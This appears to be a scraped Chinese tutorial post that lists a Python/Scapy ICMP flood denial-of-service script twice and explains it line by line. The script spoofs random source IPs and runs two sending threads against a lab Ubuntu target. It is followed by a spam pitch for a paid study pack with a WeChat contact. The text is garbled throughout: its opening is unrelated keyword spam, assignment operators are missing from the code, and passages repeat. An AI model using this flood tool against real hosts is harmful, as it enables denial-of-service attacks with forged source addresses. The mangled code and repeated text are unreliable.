化学商城网站建设,360广告联盟怎么做网站,全屋定制营销方案,广州市专注网站建设公司def main(): import sys ICMP_FLOOD(create_ip(),str(sys.argv[1]))
if name ‘main’: main()
可以看到我们在代码中#xff0c;使用create_ip()来随机生成源ip地址来伪造ip#xff0c;然后在ICMP_FLOOD()来发起攻击#xff0c;在这个函数里我们构造了IP/ICMP的数据包 ‘main’: main()
可以看到我们在代码中使用create_ip()来随机生成源ip地址来伪造ip然后在ICMP_FLOOD()来发起攻击在这个函数里我们构造了IP/ICMP的数据包使用for循环来发送指定的包次。最后在main()函数中调用来实现攻击。
我们本次以Ubuntu这台机器为攻击目标IP地址是192.168.64.140我们通过iftop来监测网络流量数据
我们来看看效果 可以看到随着我们发的包越来越多iftop的检测数据的条也就越来越长相应的数据大小也有明显的变化。
以下是改进之后的ICMP Flood DOS python代码
from scapy.all import *; from scapy.layers.inet import * from random import randint,choice from threading import Thread import time
data_package_number 0
class IFD(): def init(self): pass def icmp_dos_log(self): log “” ___ ____ __ __ ____ ____ ___ ____ options: |_ / | / | _ \ | _ \ / _ / | --appoint ip: | | | | |/| | |) | | | | | | | _ \ -d -d[objective ip] | | || | | | __/ | || | || |) | --appoint send package number(recommend even): |_|| ||| |/ ___/|_/ -o -o[number]
version: v_1.1 developer: hare
“” return log
def create_ip(self): from ipaddress import ip_network self.ip_pool [] r_ip ip_network(f{randint(0,255)}.{randint(0,255)}.{randint(0,255)}.0/24) for ip in r_ip: self.ip_pool.append(ip) return str(choice(self.ip_pool))
def send_data_package(self,ip_dst,sp_num): global data_package_number sp_num int(int(sp_num)/2)
ip_src self.create_ip()
for i in range(sp_num): ip_src self.create_ip() data_package IP(src ip_src , dst ip_dst , id randint(1000,2000))/ICMP(id randint(1000,2000) , seq randint(1000,2000)) send(data_package,verboseFalse) print(f[]rip:{ip_src}—dip:{ip_dst} Ok !“) data_package_number1 if sp_num%2 ! 0: ip_src self.create_ip() data_package IP(srcip_src, dstip_dst, idrandint(1000, 2000)) / ICMP(idrandint(1000, 2000),seqrandint(1000, 2000)) send(data_package, verboseFalse) print(f”[]rip:{ip_src}—dip:{ip_dst} Ok !) data_package_number 1
def main(): import sys icmp_flood_dos IFD() print(icmp_flood_dos.icmp_dos_log()) try: if sys.argv[1] “-d” and sys.argv[3] “-o”: time_1 time.time() thread_pool [] for thread in range(2): dos_thread Thread(targeticmp_flood_dos.send_data_package,args(sys.argv[2],sys.argv[4])) dos_thread.start() thread_pool.append(dos_thread) for tp in thread_pool: tp.join() time_2 time.time() times time_2-time_1 print(f\r\n[*]The runtime of this attack is:({times}) second !“) print(”[]data package number is: “,data_package_number) else: print(”[Error Type] options type is error !“) time.sleep(1) except: if len(sys.argv) 1: pass else: print(”[Error Options] options is error !) time.sleep(1) if name ‘main’: main() time.sleep(2)
下面给出代码的解析
一、 导入需要的库
from scapy.all import *; from scapy.layers.inet import * from random import randint,choice from threading import Thread import time
二、定义一个类IFD包含icmp_dos_log()、create_ip()和send_data_package()三个方法
class IFD(): def init(self): pass def icmp_dos_log(self):
返回攻击脚本的log界面及使用说明
log “” ___ ____ __ __ ____ ____ ___ ____ options: |_ / | / | _ \ | _ \ / _ / | --appoint ip: | | | | |/| | |) | | | | | | | _ \ -d -d[objective ip] | | || | | | __/ | || | || |) | --appoint send package number(recommend even): |_|| ||| |/ ___/|_/ -o -o[number]
version: v_1.1 developer: hare
“” return log
随机生成源IP地址
def create_ip(self): from ipaddress import ip_network self.ip_pool [] r_ip ip_network(f{randint(0,255)}.{randint(0,255)}.{randint(0,255)}.0/24) for ip in r_ip:
将生成的IP网络地址池加入到ip_pool列表中
self.ip_pool.append(ip)
返回随机选择的IP地址
return str(choice(self.ip_pool))
def send_data_package(self,ip_dst,sp_num): global data_package_number
将要发送的数据包数量除以2因为会有两个线程分别发送为了避免重复每个线程发送数据包数量为总数的一半。
sp_num int(int(sp_num)/2) for i in range(sp_num): #调用create_ip生成源ip地址使每次发包产生不同的源ip地址 ip_src self.create_ip()
构造ICMP数据包
data_package IP(src ip_src , dst ip_dst , id randint(1000,2000))/ICMP(id randint(1000,2000) , seq randint(1000,2000))
发送数据包
send(data_package,verboseFalse)
打印发送成功信息
print(f[]rip:{ip_src}—dip:{ip_dst} Ok !) data_package_number1
若数据包数量为奇数则再发送一份数据包即多发送一次
if sp_num%2 ! 0: ip_src self.create_ip() data_package IP(srcip_src, dstip_dst, idrandint(1000, 2000)) / ICMP(idrandint(1000, 2000),seqrandint(1000, 2000)) send(data_package, verboseFalse) print(f[]rip:{ip_src}—dip:{ip_dst} Ok !)
自我介绍一下小编13年上海交大毕业曾经在小公司待过也去过华为、OPPO等大厂18年进入阿里一直到现在。
深知大多数网络安全工程师想要提升技能往往是自己摸索成长但自己不成体系的自学效果低效又漫长而且极易碰到天花板技术停滞不前
因此收集整理了一份《2024年网络安全全套学习资料》初衷也很简单就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料也有适合3年以上经验的小伙伴深入学习提升的进阶课程基本涵盖了95%以上网络安全知识点真正体系化
由于文件比较大这里只是将部分目录大纲截图出来每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频并且后续会持续更新
如果你觉得这些内容对你有帮助可以添加VXvip204888 备注网络安全获取
以上经验的小伙伴深入学习提升的进阶课程基本涵盖了95%以上网络安全知识点真正体系化**
由于文件比较大这里只是将部分目录大纲截图出来每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频并且后续会持续更新
如果你觉得这些内容对你有帮助可以添加VXvip204888 备注网络安全获取 [外链图片转存中…(img-bMseYNnn-1712712039753)]